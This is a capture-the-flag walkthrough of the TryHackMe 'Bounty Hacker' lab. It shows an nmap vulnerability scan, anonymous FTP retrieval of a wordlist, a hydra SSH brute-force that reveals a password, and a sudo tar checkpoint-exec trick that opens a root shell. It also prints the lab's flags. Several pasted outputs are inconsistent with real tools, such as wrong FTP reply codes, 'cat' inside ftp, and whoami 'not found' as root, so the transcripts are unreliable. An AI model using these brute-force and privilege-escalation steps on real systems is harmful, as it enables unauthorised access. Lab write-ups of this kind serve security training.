

CTF Bounty Hacker

Kumpel7

December 2023

Those are the tasks i have to do, I am using the ubuntu machine with openvpn connection to tryhackme network.

1 Questions

Answer the questions below

Deploy the machine.

No answer needed

Correct Answer

Find open ports on the machine

No answer needed

Completed

Who wrote the task list?

Answer format: ***

Submit

Hint

What service can you bruteforce with the text file found?

Answer format: ***

Submit

Hint

What is the users password?

Answer format: *****

Submit

Hint

user.txt

Answer format: **{*****}

Submit

root.txt

Answer format: **{*****}

Submit

Screenshot 1: Tasks for this machine

We can do the nmap scan easily and access the ip address. I used the command:

```
sudo nmap -sA -v --script=vuln IP_VICTIM
```



Spike:"..Oh look you're finally up. It's about time, 3 more minutes and you were going out with the garbage."

Jet:"Now you told Spike here you can hack any computer in the system. We'd let Ed do it but we need her working on something else and you were getting real bold in the bar back there. Now take a look around and see if you can get that root the system and don't ask any questions you know you don't need the answer to, if you're lucky I'll even make you some bell peppers and beef."

Ed:"I'm Ed. You should have access to the device they are talking about on your computer. Edward and Ein will be on the main deck if you need us!"

Faye:"..hmp.."

Screenshot 2: Machine

```

Completed ACK Scan at 09:23, 4.33s elapsed (1000 total ports)
NSE: Script scanning 10.10.100.189.
Initiating NSE at 09:23
Completed NSE at 09:23, 7.79s elapsed
Initiating NSE at 09:23
Completed NSE at 09:23, 0.01s elapsed
Nmap scan report for 10.10.100.189
Host is up (0.058s latency).
Not shown: 967 filtered tcp ports (no-response)
PORT      STATE      SERVICE
20/tcp    unfiltered ftp-data
21/tcp    unfiltered ftp
22/tcp    unfiltered ssh
80/tcp    unfiltered http
990/tcp   unfiltered ftps
40193/tcp unfiltered unknown
40911/tcp unfiltered unknown
41511/tcp unfiltered unknown
42510/tcp unfiltered caerpc
44176/tcp unfiltered unknown
44442/tcp unfiltered coldfusion-auth
44443/tcp unfiltered coldfusion-auth
44501/tcp unfiltered unknown
45100/tcp unfiltered unknown
48080/tcp unfiltered unknown
49152/tcp unfiltered unknown
49153/tcp unfiltered unknown
49154/tcp unfiltered unknown
49155/tcp unfiltered unknown
49156/tcp unfiltered unknown
49157/tcp unfiltered unknown
49158/tcp unfiltered unknown
49159/tcp unfiltered unknown
49160/tcp unfiltered unknown
49161/tcp unfiltered unknown
49163/tcp unfiltered unknown
49165/tcp unfiltered unknown
49167/tcp unfiltered unknown
49175/tcp unfiltered unknown
49176/tcp unfiltered unknown
49400/tcp unfiltered compaqdiag
49999/tcp unfiltered unknown
50000/tcp unfiltered ibm-db2

```

Screenshot 3: nmap

We can login via ftp using username "anonymous", inside there are 2 files which we want to download. We can do that using "get [FILENAME]" command.

```

ftp: can't bind for data connection: address already in use
ftp> user
(username) spike
ftp> This FTP server is anonymous only.
login failed.
ftp> username
(username) anonymous
ftp> user
(username) anonymous
ftp> Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
210 Here comes the directory listing.
drwxr-xr-x 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
220 Directory send OK.
ftp> cat task.txt
ftp> cat locks.txt
local: locks.txt remote: locks.txt
200 PORT command successful. Consider using PASV.
210 Opening BINARY mode data connection for locks.txt (418 bytes).
220 Transfer complete.
418 bytes received in 00:00 (3.01 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 PORT command successful. Consider using PASV.
210 Opening BINARY mode data connection for task.txt (68 bytes).
220 Transfer complete.
68 bytes received in 00:00 (1.29 KiB/s)
ftp> exit
221 Goodbye.
dangkumpul~$

```

Screenshot 4: Our first answer

We have the locks file, so let's try to use it to breach the ssh service.

```

dangkompe1:~/Downloads/hydra/200-hydra$ cd
dangkompe1:~$ HYDRA -l lin -P locks.txt 10.10.100.189 ssh
hydra v9.dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics an
ways).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-14 18:22:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] Max 16 tasks per 1 server; overall 16 tasks, 26 login tries (1:1p:26), ~2 tries per task
[DATA] attacking ssh://10.10.100.189:22/
[22][ssh] host: 10.10.100.189 login: lin password: root@p0ss3ss0r1337
1 of 1 target successfully completed, 1 valid password found
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-14 18:22:56
dangkompe1:~$ ssh lin@10.10.100.189
The authenticity of host '10.10.100.189 (10.10.100.189)' can't be established.
ED25519 key fingerprint is SHA256:V146oz+ukdHfyG8/cSkvqdvxKl+gLSvkSyz7SpPU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.100.189' (ED25519) to the list of known hosts.
lin@10.10.100.189's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
rm(c3h2,5p6d1c13)
lin@bountyhacker:~/Desktop$

```

Screenshot 5: We did it

Now we need to leverage our privileges. The first thing to always check is sudo -l command:

```

lin@bountyhacker:~/Desktop$ sudo -l
Matching Defaults entries for lin on bountyhacker:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
  (root) /bin/tar
lin@bountyhacker:~/Desktop$

```

Screenshot 6: We have a lead

Now one can get root privileges by typing (via GTF0Bins):

```

1 sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec
  =/bin/sh

```

And we will have our root flag.

```

lin@bountyhacker:~$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading '/' from member names
# whoami
whoami: not found
# ls
Desktop Documents Downloads Music Pictures Public Templates Videos
# cd ../../
# ls
bin boot cdrom dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old
# cd root
# ls
root.txt
# cat root.txt
THM{80UN7V_h4cK3r}

```

Screenshot 7: The End